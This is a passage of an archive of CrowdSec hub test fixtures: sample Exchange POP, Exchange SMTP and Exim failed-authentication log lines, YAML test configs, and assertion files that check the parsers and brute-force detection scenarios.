2022-07-20T21:23:48.514Z,0000000000000005,1,192.168.9.241:110,192.168.9.212:55576,testuser,193,21,69,auth, PLAIN,"R=""-ERR Authentication failure: unknown user name or bad password."";Msg=""AuthFailed:LogonDenied,User: testuser"";ErrMsg=AuthFailed:LogonDenied", 2022-07-20T21:23:48.514Z,0000000000000005,1,192.168.9.241:110,192.168.9.212:55576,testuser,193,21,69,auth, PLAIN,"R=""-ERR Authentication failure: unknown user name or bad password."";Msg=""AuthFailed:LogonDenied,User: testuser"";ErrMsg=AuthFailed:LogonDenied", hub1/.tests/exchange-pop-bf/parser.assert000066400000000000000000000000001437532772500206240ustar00rootroot00000000000000hub1/.tests/exchange-pop-bf/scenario.assert000066400000000000000000000071301437532772500211460ustar00rootroot00000000000000len(results) == 1 "192.168.9.212" in results[0].Overflow.GetSources() results[0].Overflow.Sources["192.168.9.212"].IP == "192.168.9.212" results[0].Overflow.Sources["192.168.9.212"].Range == "" results[0].Overflow.Sources["192.168.9.212"].GetScope() == "Ip" results[0].Overflow.Sources["192.168.9.212"].GetValue() == "192.168.9.212" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "exchange-pop-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "pop" results[0].Overflow.Alert.Events[0].GetMeta("service") == "exchange" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.9.212" results[0].Overflow.Alert.Events[0].GetMeta("sub_type") == "auth_fail" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-07-20T21:23:48.514Z" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "exchange-pop-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "pop" results[0].Overflow.Alert.Events[1].GetMeta("service") == "exchange" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "192.168.9.212" results[0].Overflow.Alert.Events[1].GetMeta("sub_type") == "auth_fail" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-07-20T21:23:48.514Z" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "exchange-pop-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "pop" results[0].Overflow.Alert.Events[2].GetMeta("service") == "exchange" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "192.168.9.212" results[0].Overflow.Alert.Events[2].GetMeta("sub_type") == "auth_fail" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-07-20T21:23:48.514Z" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "exchange-pop-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "pop" results[0].Overflow.Alert.Events[3].GetMeta("service") == "exchange" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "192.168.9.212" results[0].Overflow.Alert.Events[3].GetMeta("sub_type") == "auth_fail" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-07-20T21:23:48.514Z" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "exchange-pop-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "pop" results[0].Overflow.Alert.Events[4].GetMeta("service") == "exchange" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "192.168.9.212" results[0].Overflow.Alert.Events[4].GetMeta("sub_type") == "auth_fail" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-07-20T21:23:48.514Z" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "exchange-pop-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "pop" results[0].Overflow.Alert.Events[5].GetMeta("service") == "exchange" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "192.168.9.212" results[0].Overflow.Alert.Events[5].GetMeta("sub_type") == "auth_fail" results[0].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-07-20T21:23:48.514Z" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/exchange-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/exchange-pop-logs/000077500000000000000000000000001437532772500164745ustar00rootroot00000000000000hub1/.tests/exchange-pop-logs/config.yaml000066400000000000000000000003761437532772500206330ustar00rootroot00000000000000parsers: - ./parsers/s01-parse/crowdsecurity/exchange-pop-logs.yaml - crowdsecurity/windows-logs - crowdsecurity/dateparse-enrich scenarios: - "" postoverflows: - "" log_file: exchange-pop-logs.log log_type: exchange-pop labels: {} ignore_parsers: false hub1/.tests/exchange-pop-logs/exchange-pop-logs.log000066400000000000000000000004051437532772500225160ustar00rootroot000000000000002022-07-20T21:23:48.514Z,0000000000000005,1,192.168.9.241:110,192.168.9.212:55576,testuser,193,21,69,auth, PLAIN,"R=""-ERR Authentication failure: unknown user name or bad password."";Msg=""AuthFailed:LogonDenied,User: testuser"";ErrMsg=AuthFailed:LogonDenied",hub1/.tests/exchange-pop-logs/parser.assert000066400000000000000000000136771437532772500212310ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/windows-eventlog"]) == 1 results["s00-raw"]["crowdsecurity/windows-eventlog"][0].Success == false len(results["s00-raw"]["crowdsecurity/windows-non-eventlog"]) == 1 results["s00-raw"]["crowdsecurity/windows-non-eventlog"][0].Success == true results["s00-raw"]["crowdsecurity/windows-non-eventlog"][0].Evt.Parsed["message"] == "2022-07-20T21:23:48.514Z,0000000000000005,1,192.168.9.241:110,192.168.9.212:55576,testuser,193,21,69,auth, PLAIN,\"R=\"\"-ERR Authentication failure: unknown user name or bad password.\"\";Msg=\"\"AuthFailed:LogonDenied,User: testuser\"\";ErrMsg=AuthFailed:LogonDenied\"," results["s00-raw"]["crowdsecurity/windows-non-eventlog"][0].Evt.Parsed["program"] == "exchange-pop" results["s00-raw"]["crowdsecurity/windows-non-eventlog"][0].Evt.Meta["datasource_path"] == "exchange-pop-logs.log" results["s00-raw"]["crowdsecurity/windows-non-eventlog"][0].Evt.Meta["datasource_type"] == "file" len(results["s01-parse"]["crowdsecurity/exchange-pop-logs"]) == 1 results["s01-parse"]["crowdsecurity/exchange-pop-logs"][0].Success == true results["s01-parse"]["crowdsecurity/exchange-pop-logs"][0].Evt.Parsed["client_ip"] == "192.168.9.212" results["s01-parse"]["crowdsecurity/exchange-pop-logs"][0].Evt.Parsed["duration"] == "193" results["s01-parse"]["crowdsecurity/exchange-pop-logs"][0].Evt.Parsed["server_port"] == "110" results["s01-parse"]["crowdsecurity/exchange-pop-logs"][0].Evt.Parsed["client_port"] == "55576" results["s01-parse"]["crowdsecurity/exchange-pop-logs"][0].Evt.Parsed["date"] == "2022-07-20T21:23:48.514Z" results["s01-parse"]["crowdsecurity/exchange-pop-logs"][0].Evt.Parsed["parameters"] == " PLAIN" results["s01-parse"]["crowdsecurity/exchange-pop-logs"][0].Evt.Parsed["session_id"] == "0000000000000005" results["s01-parse"]["crowdsecurity/exchange-pop-logs"][0].Evt.Parsed["command"] == "auth" results["s01-parse"]["crowdsecurity/exchange-pop-logs"][0].Evt.Parsed["sequence_number"] == "1" results["s01-parse"]["crowdsecurity/exchange-pop-logs"][0].Evt.Parsed["server_ip"] == "192.168.9.241" results["s01-parse"]["crowdsecurity/exchange-pop-logs"][0].Evt.Parsed["username"] == "testuser" results["s01-parse"]["crowdsecurity/exchange-pop-logs"][0].Evt.Parsed["message"] == "2022-07-20T21:23:48.514Z,0000000000000005,1,192.168.9.241:110,192.168.9.212:55576,testuser,193,21,69,auth, PLAIN,\"R=\"\"-ERR Authentication failure: unknown user name or bad password.\"\";Msg=\"\"AuthFailed:LogonDenied,User: testuser\"\";ErrMsg=AuthFailed:LogonDenied\"," results["s01-parse"]["crowdsecurity/exchange-pop-logs"][0].Evt.Parsed["program"] == "exchange-pop" results["s01-parse"]["crowdsecurity/exchange-pop-logs"][0].Evt.Parsed["rpsize"] == "69" results["s01-parse"]["crowdsecurity/exchange-pop-logs"][0].Evt.Parsed["rqsize"] == "21" results["s01-parse"]["crowdsecurity/exchange-pop-logs"][0].Evt.Meta["datasource_path"] == "exchange-pop-logs.log" results["s01-parse"]["crowdsecurity/exchange-pop-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/exchange-pop-logs"][0].Evt.Meta["log_type"] == "pop" results["s01-parse"]["crowdsecurity/exchange-pop-logs"][0].Evt.Meta["service"] == "exchange" results["s01-parse"]["crowdsecurity/exchange-pop-logs"][0].Evt.Meta["source_ip"] == "192.168.9.212" results["s01-parse"]["crowdsecurity/exchange-pop-logs"][0].Evt.Meta["sub_type"] == "auth_fail" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 1 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["duration"] == "193" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "2022-07-20T21:23:48.514Z,0000000000000005,1,192.168.9.241:110,192.168.9.212:55576,testuser,193,21,69,auth, PLAIN,\"R=\"\"-ERR Authentication failure: unknown user name or bad password.\"\";Msg=\"\"AuthFailed:LogonDenied,User: testuser\"\";ErrMsg=AuthFailed:LogonDenied\"," results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["rqsize"] == "21" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["command"] == "auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["sequence_number"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["server_ip"] == "192.168.9.241" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "exchange-pop" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["session_id"] == "0000000000000005" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["username"] == "testuser" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["client_port"] == "55576" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["date"] == "2022-07-20T21:23:48.514Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["parameters"] == " PLAIN" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["rpsize"] == "69" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["server_port"] == "110" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["client_ip"] == "192.168.9.212" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "exchange" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "192.168.9.212" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["sub_type"] == "auth_fail" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2022-07-20T21:23:48.514Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "exchange-pop-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "pop" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2022-07-20T21:23:48.514Z" hub1/.tests/exchange-pop-logs/scenario.assert000066400000000000000000000000001437532772500215100ustar00rootroot00000000000000hub1/.tests/exchange-smtp-bf/000077500000000000000000000000001437532772500163045ustar00rootroot00000000000000hub1/.tests/exchange-smtp-bf/config.yaml000066400000000000000000000004461437532772500204410ustar00rootroot00000000000000parsers: - ./parsers/s01-parse/crowdsecurity/exchange-smtp-logs.yaml - crowdsecurity/windows-logs - crowdsecurity/dateparse-enrich scenarios: - ./scenarios/crowdsecurity/exchange-bf.yaml postoverflows: - "" log_file: exchange-smtp-bf.log log_type: exchange-smtp labels: {} ignore_parsers: true hub1/.tests/exchange-smtp-bf/exchange-smtp-bf.log000066400000000000000000000026501437532772500221420ustar00rootroot000000000000002022-07-20T21:12:06.270Z,EXCHANGE-1\Default Frontend EXCHANGE-1,08DA4F7C11473A60,9,192.168.9.241:25,192.168.9.212:53722,>,535 5.7.3 Authentication unsuccessful, 2022-07-20T21:12:06.270Z,EXCHANGE-1\Default Frontend EXCHANGE-1,08DA4F7C11473A60,9,192.168.9.241:25,192.168.9.212:53722,>,535 5.7.3 Authentication unsuccessful, 2022-07-20T21:12:06.270Z,EXCHANGE-1\Default Frontend EXCHANGE-1,08DA4F7C11473A60,9,192.168.9.241:25,192.168.9.212:53722,>,535 5.7.3 Authentication unsuccessful, 2022-07-20T21:12:06.270Z,EXCHANGE-1\Default Frontend EXCHANGE-1,08DA4F7C11473A60,9,192.168.9.241:25,192.168.9.212:53722,>,535 5.7.3 Authentication unsuccessful, 2022-07-20T21:12:06.270Z,EXCHANGE-1\Default Frontend EXCHANGE-1,08DA4F7C11473A60,9,192.168.9.241:25,192.168.9.212:53722,>,535 5.7.3 Authentication unsuccessful, 2022-07-20T21:12:06.270Z,EXCHANGE-1\Default Frontend EXCHANGE-1,08DA4F7C11473A60,9,192.168.9.241:25,192.168.9.212:53722,>,535 5.7.3 Authentication unsuccessful, 2022-07-20T21:12:06.270Z,EXCHANGE-1\Default Frontend EXCHANGE-1,08DA4F7C11473A60,9,192.168.9.241:25,192.168.9.212:53722,>,535 5.7.3 Authentication unsuccessful, 2022-07-20T21:12:06.270Z,EXCHANGE-1\Default Frontend EXCHANGE-1,08DA4F7C11473A60,9,192.168.9.241:25,192.168.9.212:53722,>,535 5.7.3 Authentication unsuccessful, 2022-07-20T21:12:06.270Z,EXCHANGE-1\Default Frontend EXCHANGE-1,08DA4F7C11473A60,9,192.168.9.241:25,192.168.9.212:53722,>,535 5.7.3 Authentication unsuccessful,hub1/.tests/exchange-smtp-bf/parser.assert000066400000000000000000000000001437532772500210110ustar00rootroot00000000000000hub1/.tests/exchange-smtp-bf/scenario.assert000066400000000000000000000102141437532772500213300ustar00rootroot00000000000000len(results) == 1 "192.168.9.212" in results[0].Overflow.GetSources() results[0].Overflow.Sources["192.168.9.212"].IP == "192.168.9.212" results[0].Overflow.Sources["192.168.9.212"].Range == "" results[0].Overflow.Sources["192.168.9.212"].GetScope() == "Ip" results[0].Overflow.Sources["192.168.9.212"].GetValue() == "192.168.9.212" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "exchange-smtp-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "smtp" results[0].Overflow.Alert.Events[0].GetMeta("service") == "exchange" results[0].Overflow.Alert.Events[0].GetMeta("smtp_message") == "Authentication unsuccessful" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.9.212" results[0].Overflow.Alert.Events[0].GetMeta("sub_type") == "auth_fail" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-07-20T21:12:06.27Z" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "exchange-smtp-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "smtp" results[0].Overflow.Alert.Events[1].GetMeta("service") == "exchange" results[0].Overflow.Alert.Events[1].GetMeta("smtp_message") == "Authentication unsuccessful" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "192.168.9.212" results[0].Overflow.Alert.Events[1].GetMeta("sub_type") == "auth_fail" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-07-20T21:12:06.27Z" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "exchange-smtp-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "smtp" results[0].Overflow.Alert.Events[2].GetMeta("service") == "exchange" results[0].Overflow.Alert.Events[2].GetMeta("smtp_message") == "Authentication unsuccessful" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "192.168.9.212" results[0].Overflow.Alert.Events[2].GetMeta("sub_type") == "auth_fail" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-07-20T21:12:06.27Z" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "exchange-smtp-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "smtp" results[0].Overflow.Alert.Events[3].GetMeta("service") == "exchange" results[0].Overflow.Alert.Events[3].GetMeta("smtp_message") == "Authentication unsuccessful" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "192.168.9.212" results[0].Overflow.Alert.Events[3].GetMeta("sub_type") == "auth_fail" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-07-20T21:12:06.27Z" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "exchange-smtp-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "smtp" results[0].Overflow.Alert.Events[4].GetMeta("service") == "exchange" results[0].Overflow.Alert.Events[4].GetMeta("smtp_message") == "Authentication unsuccessful" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "192.168.9.212" results[0].Overflow.Alert.Events[4].GetMeta("sub_type") == "auth_fail" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-07-20T21:12:06.27Z" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "exchange-smtp-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "smtp" results[0].Overflow.Alert.Events[5].GetMeta("service") == "exchange" results[0].Overflow.Alert.Events[5].GetMeta("smtp_message") == "Authentication unsuccessful" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "192.168.9.212" results[0].Overflow.Alert.Events[5].GetMeta("sub_type") == "auth_fail" results[0].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-07-20T21:12:06.27Z" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/exchange-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/exchange-smtp-logs/000077500000000000000000000000001437532772500166615ustar00rootroot00000000000000hub1/.tests/exchange-smtp-logs/config.yaml000066400000000000000000000004011437532772500210050ustar00rootroot00000000000000parsers: - ./parsers/s01-parse/crowdsecurity/exchange-smtp-logs.yaml - crowdsecurity/windows-logs - crowdsecurity/dateparse-enrich scenarios: - "" postoverflows: - "" log_file: exchange-smtp-logs.log log_type: exchange-smtp labels: {} ignore_parsers: false hub1/.tests/exchange-smtp-logs/exchange-smtp-logs.log000066400000000000000000000002401437532772500230650ustar00rootroot000000000000002022-07-20T21:12:06.270Z,EXCHANGE-1\Default Frontend EXCHANGE-1,08DA4F7C11473A60,9,192.168.9.241:25,192.168.9.212:53722,>,535 5.7.3 Authentication unsuccessful,hub1/.tests/exchange-smtp-logs/parser.assert000066400000000000000000000132051437532772500214010ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/windows-eventlog"]) == 1 results["s00-raw"]["crowdsecurity/windows-eventlog"][0].Success == false len(results["s00-raw"]["crowdsecurity/windows-non-eventlog"]) == 1 results["s00-raw"]["crowdsecurity/windows-non-eventlog"][0].Success == true results["s00-raw"]["crowdsecurity/windows-non-eventlog"][0].Evt.Parsed["message"] == "2022-07-20T21:12:06.270Z,EXCHANGE-1\\Default Frontend EXCHANGE-1,08DA4F7C11473A60,9,192.168.9.241:25,192.168.9.212:53722,>,535 5.7.3 Authentication unsuccessful," results["s00-raw"]["crowdsecurity/windows-non-eventlog"][0].Evt.Parsed["program"] == "exchange-smtp" results["s00-raw"]["crowdsecurity/windows-non-eventlog"][0].Evt.Meta["datasource_path"] == "exchange-smtp-logs.log" results["s00-raw"]["crowdsecurity/windows-non-eventlog"][0].Evt.Meta["datasource_type"] == "file" len(results["s01-parse"]["crowdsecurity/exchange-smtp-logs"]) == 1 results["s01-parse"]["crowdsecurity/exchange-smtp-logs"][0].Success == true results["s01-parse"]["crowdsecurity/exchange-smtp-logs"][0].Evt.Parsed["connector_id"] == "EXCHANGE-1\\Default Frontend EXCHANGE-1" results["s01-parse"]["crowdsecurity/exchange-smtp-logs"][0].Evt.Parsed["event"] == ">" results["s01-parse"]["crowdsecurity/exchange-smtp-logs"][0].Evt.Parsed["program"] == "exchange-smtp" results["s01-parse"]["crowdsecurity/exchange-smtp-logs"][0].Evt.Parsed["server_port"] == "25" results["s01-parse"]["crowdsecurity/exchange-smtp-logs"][0].Evt.Parsed["smtp_code"] == "535" results["s01-parse"]["crowdsecurity/exchange-smtp-logs"][0].Evt.Parsed["smtp_message"] == "Authentication unsuccessful" results["s01-parse"]["crowdsecurity/exchange-smtp-logs"][0].Evt.Parsed["client_ip"] == "192.168.9.212" results["s01-parse"]["crowdsecurity/exchange-smtp-logs"][0].Evt.Parsed["date"] == "2022-07-20T21:12:06.270Z" results["s01-parse"]["crowdsecurity/exchange-smtp-logs"][0].Evt.Parsed["message"] == "2022-07-20T21:12:06.270Z,EXCHANGE-1\\Default Frontend EXCHANGE-1,08DA4F7C11473A60,9,192.168.9.241:25,192.168.9.212:53722,>,535 5.7.3 Authentication unsuccessful," results["s01-parse"]["crowdsecurity/exchange-smtp-logs"][0].Evt.Parsed["sequence_number"] == "9" results["s01-parse"]["crowdsecurity/exchange-smtp-logs"][0].Evt.Parsed["server_ip"] == "192.168.9.241" results["s01-parse"]["crowdsecurity/exchange-smtp-logs"][0].Evt.Parsed["session_id"] == "08DA4F7C11473A60" results["s01-parse"]["crowdsecurity/exchange-smtp-logs"][0].Evt.Parsed["client_port"] == "53722" results["s01-parse"]["crowdsecurity/exchange-smtp-logs"][0].Evt.Meta["log_type"] == "smtp" results["s01-parse"]["crowdsecurity/exchange-smtp-logs"][0].Evt.Meta["service"] == "exchange" results["s01-parse"]["crowdsecurity/exchange-smtp-logs"][0].Evt.Meta["smtp_message"] == "Authentication unsuccessful" results["s01-parse"]["crowdsecurity/exchange-smtp-logs"][0].Evt.Meta["source_ip"] == "192.168.9.212" results["s01-parse"]["crowdsecurity/exchange-smtp-logs"][0].Evt.Meta["sub_type"] == "auth_fail" results["s01-parse"]["crowdsecurity/exchange-smtp-logs"][0].Evt.Meta["datasource_path"] == "exchange-smtp-logs.log" results["s01-parse"]["crowdsecurity/exchange-smtp-logs"][0].Evt.Meta["datasource_type"] == "file" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 1 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["session_id"] == "08DA4F7C11473A60" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "2022-07-20T21:12:06.270Z,EXCHANGE-1\\Default Frontend EXCHANGE-1,08DA4F7C11473A60,9,192.168.9.241:25,192.168.9.212:53722,>,535 5.7.3 Authentication unsuccessful," results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["client_port"] == "53722" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["connector_id"] == "EXCHANGE-1\\Default Frontend EXCHANGE-1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["date"] == "2022-07-20T21:12:06.270Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["event"] == ">" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "exchange-smtp" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["sequence_number"] == "9" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["server_ip"] == "192.168.9.241" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["client_ip"] == "192.168.9.212" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["smtp_code"] == "535" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["smtp_message"] == "Authentication unsuccessful" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["server_port"] == "25" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "exchange" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["smtp_message"] == "Authentication unsuccessful" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "192.168.9.212" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["sub_type"] == "auth_fail" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2022-07-20T21:12:06.27Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "exchange-smtp-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "smtp" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2022-07-20T21:12:06.27Z" hub1/.tests/exchange-smtp-logs/scenario.assert000066400000000000000000000000001437532772500216750ustar00rootroot00000000000000hub1/.tests/exim-bf/000077500000000000000000000000001437532772500145035ustar00rootroot00000000000000hub1/.tests/exim-bf/config.yaml000066400000000000000000000004351437532772500166360ustar00rootroot00000000000000parsers: - ./parsers/s01-parse/crowdsecurity/exim-logs.yaml - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - "./scenarios/crowdsecurity/exim-bf.yaml" postoverflows: - "" log_file: exim-bf.log log_type: exim labels: {} ignore_parsers: true override_statics: [] hub1/.tests/exim-bf/exim-bf.log000066400000000000000000000017271437532772500165440ustar00rootroot000000000000002022-06-29 16:04:05 dovecot_login authenticator failed for ([1.2.3.5]) [1.2.3.4]:55379: 535 Incorrect authentication data (set_id=info@test.com) 2022-06-29 16:04:08 dovecot_login authenticator failed for ppp-1-2-3-4.test.test.co.th ([1.2.3.5]) [1.2.3.4]:51451: 535 Incorrect authentication data (set_id=info1@test.com) 2022-06-29 16:04:10 dovecot_login authenticator failed for ppp-1-2-3-4.test.test.co.th ([1.2.3.5]) [1.2.3.4]:51451: 535 Incorrect authentication data (set_id=info2@test.com) 2022-06-29 16:04:10 dovecot_login authenticator failed for ppp-1-2-3-4.test.test.co.th ([1.2.3.5]) [1.2.3.4]:51451: 535 Incorrect authentication data (set_id=info3@test.com) 2022-06-29 16:04:14 dovecot_login authenticator failed for ([1.2.3.5]) [1.2.3.4]:55379: 535 Incorrect authentication data (set_id=info5@test.com) 2022-06-29 16:04:14 H=imfo.test.com [1.2.3.4]:35328 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 CV=no F= rejected RCPT : No Such User Herehub1/.tests/exim-bf/parser.assert000066400000000000000000000000001437532772500172100ustar00rootroot00000000000000hub1/.tests/exim-bf/scenario.assert000066400000000000000000000210601437532772500175300ustar00rootroot00000000000000len(results) == 2 "1.2.3.4" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.4"].IP == "1.2.3.4" results[0].Overflow.Sources["1.2.3.4"].Range == "" results[0].Overflow.Sources["1.2.3.4"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.4"].GetValue() == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "exim-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "exim_failed_auth" results[0].Overflow.Alert.Events[0].GetMeta("service") == "exim" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("target_ip") == "1.2.3.5" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-06-29T16:04:05Z" results[0].Overflow.Alert.Events[0].GetMeta("username") == "info@test.com" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "exim-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "exim_failed_auth" results[0].Overflow.Alert.Events[1].GetMeta("service") == "exim" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[1].GetMeta("target_dns") == "ppp-1-2-3-4.test.test.co.th" results[0].Overflow.Alert.Events[1].GetMeta("target_ip") == "1.2.3.5" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-06-29T16:04:08Z" results[0].Overflow.Alert.Events[1].GetMeta("username") == "info1@test.com" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "exim-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "exim_failed_auth" results[0].Overflow.Alert.Events[2].GetMeta("service") == "exim" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.2.3.4" 